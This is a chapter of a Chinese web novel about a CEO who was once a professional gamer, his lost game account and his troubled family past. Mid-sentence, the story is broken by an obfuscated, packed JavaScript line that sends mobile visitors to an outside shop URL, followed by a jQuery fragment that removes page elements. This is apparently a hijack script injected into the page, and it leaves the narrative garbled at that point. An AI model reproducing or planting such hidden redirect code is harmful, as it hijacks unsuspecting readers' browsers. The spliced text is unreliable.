“下线吧。”
孙总助被突如其来的领导的声音吓得一个激灵,他坐直身体,揉了揉卖力派发帮派红包的而有些发酸右手,小声嘀咕道:
“我的祝总啊,您走路就不能有点声音吗?”
祝言殊站在孙总助身后,望向屏幕里的游戏角色发呆,一时之间,没有听清孙总助方才的小声诉苦,他下意识地开口,问了句“什么”。
短短两个字,又给孙总助吓出了一身冷汗。
语调平缓+语气没有情绪+领导死亡二字反问=完蛋呐!
“emmm...我是说,这号要不您上来看看呢?就这样...下线了?”孙总助语气结巴,赶忙给自己找了个蹩脚的理由。
祝言殊嘴唇微张,想说些什么,最终还是没有说出口,他看向游戏界面里,只见头顶ID【十四洲】的白衣剑客呈双手抱胸的待机动作,孤身一人携剑站在江南最繁华的闹市的街头,两侧的游戏玩家成群结队、来来往往,再无一人为他停留。
虽然祝言殊不发一言,但他看向【十四洲】的眼神里是满盈的怅然。
孙总助作为年薪高达好几十个W的优秀的总裁助理,敏锐地觉察到了此刻自己领导微妙的情绪变化,他赶忙从座位上起身,给领导腾出无干扰的“忆往昔”专属空间。
祝言殊眼睑微抬,嘴唇轻动,吐出“蓝山”两个字,再无更多的言语,孙总助登时会意,赶忙溜之大吉。
伸手拉过椅背,旋即将整个人塞进座椅里,手掌下的空间被鼠标填满,他的手覆在黑色的鼠标上,反而衬得他的手更加苍白,近乎病态的苍白。
祝言殊的手很好看,白皙修长又骨节分明,如果现在他还在打职业比赛,这双手可能也会被评为神之手吧,他自嘲地想着。
他静静地盯着白衣剑客头顶的ID,眼神闪动。
【十四洲】么?
这三个字,承载着着太多浓到化不开的难以名状的情绪。
一瞬间,曾经这个ID承载的所有辉煌记忆,如潮水般涌进他的脑海——年少的热血、队友的欢声、训练的汗水、荣耀的奖杯,一段段记忆碎片模糊又清晰。
像极了冷雨夜的车窗,车里人看窗外,如雾里看花般,万家灯火不过是玻璃窗上星星点点的斑驳色块,但车里人只要愿意擦掉玻璃上凝结的水汽,仍能窥见窗外世界的真实。
祝言殊眉头锁得紧紧的,面对这独属于他的过去,独属于他的不可揭开的疤,他有些无措。
十四洲,十四洲。
他无意识地重复起这个许久不曾被人记起、提起的游戏ID,嘴角挂上一抹苦涩的笑意。
【满堂花醉三千客,一剑霜寒十四州。】(出自唐代诗人贯休)
这是独属于【一念江湖】剑客职业的判词。
每位玩家在初初踏入江湖时,都要选择自己的职业。
在烟雨江南河畔,一叶竹筏上,随着玩家鼠标的点击,各职业的初始游戏形象来回切换。
祝言殊第一次登录【一念江湖】游戏,盯着背着长剑的剑客怎么挪不开眼,手里的鼠标滚轮响个不停,他把初始剑客形象放到最大又缩小,来回反复,认真地品鉴剑客大师兄身上的每一处细节。
在职业选择页面的左侧的竹叶上,铭刻着专属于剑客职业的念白。
“满堂花醉三千客,一剑霜寒十四州。”
祝言殊认真地一字一顿地念出。
“满堂花醉三千客,一剑霜寒十四州!”
如同命运的昭示,就在祝言殊念出第一个字时,游戏中剑客初始角色的语音同时响起,语气铿锵,满是驰骋江湖、行侠仗义的傲气。
这一刻,祝言殊知道,他只能是剑客。
【欢迎少侠十四州踏入江湖】
【恭喜少侠十四州成为杏花春雨的第28位剑客】
【恭喜你正式成为加入WXW战队】
......
“你是要逼死我吗?平常你打打游戏看我没说你是吧?现在竟然还学会背着你妈我去搞什么职业比赛?你还记得你的身份吗?你现在是什么?是学生,你要把心思放在学习上!现在马上滚去解约!不去?那我报警了!”
涂红霞的话宛如恶魔的低语,紧跟在美好回忆之后再次占据祝言殊的大脑。
那一天,他与WXW的队友拿下第一个市级比赛冠军,他抱着奖杯,兴冲冲地跑向涂红霞常年混迹的麻将馆,激动地告诉她这个好消息时,可涂红霞却一瞬间变了脸色。
一向对他学习不闻不问、放纵他沉迷游戏的涂红霞,在得知祝言殊正式签约并已小有成绩时,作为母亲却没有对儿子获得成就的骄傲和自豪。
只有毫不掩饰的恨意和嫉妒。
天下怎么会有这样的母亲?
祝言殊不明白妈妈的反应为什么会这么奇怪,可却怎么也想不明白。
后来涂红霞以死相逼,祝言殊只好遂了她的意,草草结束了他短达半年的职业生涯,和他的职业账号【十四洲】告了别。
若不是因为涂红霞确诊癌症晚期,吵着闹着要在死前见祝言泽一面,恐怕祝言殊会被这个最恨他的、被他唤为“妈妈”的女人,骗一辈子。
涂红霞死了,祝言殊被接回了祝家。
祝家老宅很大,上下共五层的别墅横卧在北湖湖畔,前花园后泳池,单是住家的保姆管家都有数十人之多。
但祝言殊却觉得祝家很空,空到只剩祖孙三代四人,和初来乍到、无依无靠的他。
“这些年苦了你了。”
十六年未见的亲生爹妈,只说了些干巴巴地客套话,便带着偷走他十六年人生的祝言泽去欧洲游学,而安排他转学去了市区的海城高中继续读书。
这一天,他想明白了很多事情,比如十六年来从未见过的父亲,和自己不知道跟谁姓的“祝”姓。
祝青松带祝言泽出国前,匆匆和祝言殊谈了些话,那天祝青松说了很多,可祝言殊只记得祝青松临走时的那句语重心长的嘱咐:
“在祝家,你想要的,得靠自己争取。”
祝言殊将这句话刻在心里,他暗下决心,一定要凭借自己的力量,拿回【十四洲】。
在三年前,祝言殊踏出了重启人生的第一步,大学刚毕业的他,凭借在大学期间积累的奖学金和参加皮划艇赛事的奖金,不多不少刚好凑够钱能从WXW战队买下【十四洲】游戏账号。
【十四洲】作为【一念江湖】T0(第一梯队)级别的神级游戏角色,每年升级维护的开支是个不可小觑的数目,虽然【一念江湖】已是一个开服近十年的长寿游戏,但其依旧保持着一年四小更、两大更的版本更新频率,每年的两次大更新的版本迭代,必然会增加角色战力提升的新数值系统,而若是想保持一个曾经的神级角色不被同级别
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722301|208730||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
角色落下太多,作为角色持有人的WXW战队便只能在新系统中对角色【十四洲】投入大量资金,保证【十四洲】仍然处于T0级别。
而彼时的WXW已是英雄暮年、辉煌不再,战队能参加的比赛少之又少,能取得名次获得比赛奖金的次数更是屈指可数,WXW创立之初的队员几乎已尽数离开,后入战队的新人的水平参差不齐,现在WXW的收入早已完全无法覆盖【十四洲】这一顶级账号的开支。
“真好,【十四洲】也算是没有毁在我手上。”WXW战队的老板老李头,欣然答应了祝言殊的购买请求,略显疲惫的神色一瞬间得以舒展。
.
“三青你怎么不抢红包?”
耳机里的方梨的声音将祝言殊从回忆的深潭中拽回现实。
方某人此时正一丝不苟地点开每一个红包,再三确认自己没有错过任何一个红包。
不仅如此,方梨还严格地督促结义成员,秉承着“又便宜不占王八蛋”的人生原则,她正不厌其烦地挨个检查着结义几人的红包抢夺情况。
1、2、3、4...
200、300、400...
检查到第400个红包时,方梨发现,三青这家伙,竟然一个红包都没领!
这怎么行?完全不符合咱们结义的调性!
“太麻烦了。”祝言殊随口找了个借口。
“不行!号给我!本小姐帮你抢!”
方梨这辈子最看不惯因个人懒惰而放弃既得权益的人。
“不...不了。”祝言殊想到自己的账号密码,语气不自然地出言拒绝。
【一念江湖】作为比较古早的大龄mmo网游,账号只能通过【账号+密码】这种古法操作登录。虽然扫码登录已成为现在mmo游戏登录的一般方式,虽然【一念江湖】的玩家已经多轮请愿、要求游戏官方增加扫码登录的方式,但游戏官方一直装死,对玩家的要求充耳不闻。
“我自己抢吧。”
祝言殊回应着,顺手呼叫孙总助,脸颊上飞起两抹不自然的绯红。
“祝总,您找我?”孙总助端着蓝山咖啡蹑手蹑脚摸进办公室,小心翼翼地走到祝言殊跟前,将马克杯放在祝言殊的手边,他敏锐地觉察到祝言殊脸上的异样,急忙关切地问道,“祝总,您不舒服吗?怎么脸色...”
“咳咳,我没事。”祝言殊轻咳两声掩饰尴尬,起身示意孙总助坐下,“帮我把红包领一下。”
“!!?”孙总助虽不理解领导的用意,但严格执行领导的命令,他不死心地再次确认,“是刚刚那999个吗?”
“嗯。”
得到祝言殊肯定的回答,孙总助只想当场撞豆腐自鲨。
人果然不能当面蛐蛐领导,这报应来的也太快了吧?
刚发了999个红包,又要再领一遍999个红包。
就只是想一想,手腕就已经开始发酸了。
祝言殊端着热气腾腾的蓝山,径直走到落地窗前,他站在五十层楼高的落地窗前,鸟瞰整个海城。
他脸上的绯红已褪去,嘴角爬起浅笑。
只有他自己知道。
【三青】游戏账号密码——52fll1109。
她的名字,她的生日。
嘴角笑意更浓,自己怎么会用这么幼稚的密码。
跟小学生一样。